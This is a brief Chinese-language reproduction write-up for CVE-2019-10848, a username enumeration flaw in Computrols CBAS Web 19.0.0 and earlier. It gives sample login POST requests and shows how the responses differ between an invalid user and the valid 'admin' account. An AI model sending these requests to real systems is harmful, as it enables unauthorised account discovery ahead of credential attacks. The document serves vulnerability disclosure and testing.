002-CVE-2019-10848 Computrols CBAS Web 用户名枚举

# CVE-2019-10848 Computrols CBAS Web 用户名枚举

## 漏洞影响

19.0.0及以下

## 复现过程

**测试无效用户：**

“`bash
POST /cbas/index.php?m=auth&a=login HTTP/1.1

username=randomuser&password=&challenge=60753c1b5e449de80e21472b5911594d&response=e16371917371b8b70529737813840c62
“`

Response

“`bash

randomuser

“`

**测试有效用户：**

“`bash
POST /cbas/index.php?m=auth&a=login HTTP/1.1

username=admin&password=&challenge=6e4344e7ac62520dba82d7f20ccbd422&response=e09aab669572a8e4576206d5c14befc5s
“`

Response

“`bash

Invalid username/password combination. Please try again!

“`